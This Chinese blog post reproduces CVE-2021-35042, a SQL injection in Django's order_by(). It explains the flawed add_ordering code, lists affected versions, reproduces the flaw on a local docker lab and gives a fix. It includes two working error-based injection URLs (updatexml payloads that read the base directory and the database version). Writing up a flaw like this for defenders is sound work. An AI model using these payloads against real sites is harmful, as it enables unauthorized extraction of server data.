Django SQL注入漏洞复现(CVE-2021-35042)

Django SQL注入漏洞复现(CVE-2021-35042),第1张

Django SQL注入漏洞复现(CVE-2021-35042)

#Django SQL注入漏洞(CVE-2021-35042)#

一、漏洞简介

Django是一个开放源代码的Web应用框架,由Python写成。采用了MVC的框架模式,即模型M,视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。

Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。

二、漏洞影响

影响版本

Django 3.2
Django 3.1

安全版本

Django >= 3.2.5
Django >= 3.1.13

三、产生原因

在Django中,想要在数据库中创建表并定义字段是容易的,只需要在models.py文件中声明一个模型类即可。

Django内置了一个ORM框架,从数据库查询出来的结果是一个合集,这个合集就是QuerySet。而order_by这个方法的作用,一般是将查询出来的结果按照某字段的值,由小到大或由大到小进行排序。在views.py的视图函数中,先是获取到了用户传入的参数值order(如果没有传入参数默认值为id)。然后到Collection表中进行数据查询,对返回的结果按照id值从小到大进行排序。

最后使用values()函数将数据合集转化成一个一个json的数据格式返回。

比如返回的结果按照id值排序Collection.objects.order_by(‘id’),默认是从小到大的顺序。如果想要变成从大到小,只需要把’id’变成’-id’即可。因此可以通过在参数值前面加’-'来判断,如果返回的顺序颠倒了那么就是使用了order_by。

当运行到Collection.objects.order_by(‘id’)的时候,主要是进入如下函数来判断order_by 的排序顺序和表达式。

def add_ordering(self, *ordering):
        """
        Add items from the 'ordering' sequence to the query's "order by"
        clause. These items are either field names (not column names) --
        possibly with a direction prefix ('-' or '?') -- or OrderBy
        expressions.
​
        If 'ordering' is empty, clear all ordering from the query.
        """
        errors = []
        for item in ordering:
            if isinstance(item, str):
                if '.' in item:
                    warnings.warn(
                        'Passing column raw column aliases to order_by() is '
                        'deprecated. Wrap %r in a RawSQL expression before '
                        'passing it to order_by().' % item,
                        category=RemovedInDjango40Warning,
                        stacklevel=3,
                    )
                    continue
                if item == '?':
                    continue
                if item.startswith('-'):
                    item = item[1:]
                if item in self.annotations:
                    continue
                if self.extra and item in self.extra:
                    continue
                # names_to_path() validates the lookup. A descriptive
                # FieldError will be raise if it's not.
                self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)
            elif not hasattr(item, 'resolve_expression'):
                errors.append(item)
            if getattr(item, 'contains_aggregate', False):
                raise FieldError(
                    'Using an aggregate in order_by() without also including '
                    'it in annotate() is not allowed: %s' % item
                )
        if errors:
            raise FieldError('Invalid order_by arguments: %s' % errors)
        if ordering:
            self.order_by += ordering
        else:
            self.default_ordering = False

在add_ordering()函数中,进行如下了五个判断:字段中是否带点、字段是否为问号、字段开头是否为短横杠、判断是否在一个map字典、判断是否有额外的参数信息。如果全部参数无异常会进入self.names_to_path中进行数据获取,并进行相关逻辑处理,这个过程是不会进行SQL注入拼接的。

当用户输入的字段中带了点’id.’,就会跳出循环进入到_fetch_all中,这个时候会进行SQL查询:
SELECt “vuln_collection”.“id”, “vuln_collection”.“name” FROM “vuln_collection” ORDER BY (“id”.) ASC

此时会把点带进查询。也就是说把’id.'进行了拼接。因此可以尝试闭合语句并配合debug回显进行报错注入。

四、复现过程

docker 靶机:192.168.111.137

docker搭建靶场环境

docker-compose build
docker-compose up -d

访问默认页面

http://192.168.111.137:8000/

转到列表视图

http://192.168.111.137:8000/vuln/

添加order=-id到 GET 参数

http://192.168.111.137:8000/vuln/?order=-id

显示出按id降序排列的数据

由此判断可以构造报错注入进行攻击获取数据

POC1(查询根目录信息):

http://192.168.111.137:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23

POC2(查询数据库版本信息):

http://192.168.111.137:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@version)),1)%23

五、修复方案

升级到最新版本

六、参考链接

django order by注入分析CVE-2021-35042

CVE-2021-35042 Django SQL注入漏洞复现

标签

CVE-2021-35042、django、SQL注入

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/4827826.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-11-10
下一篇 2022-11-10

发表评论

登录后才能评论

评论列表(0条)

保存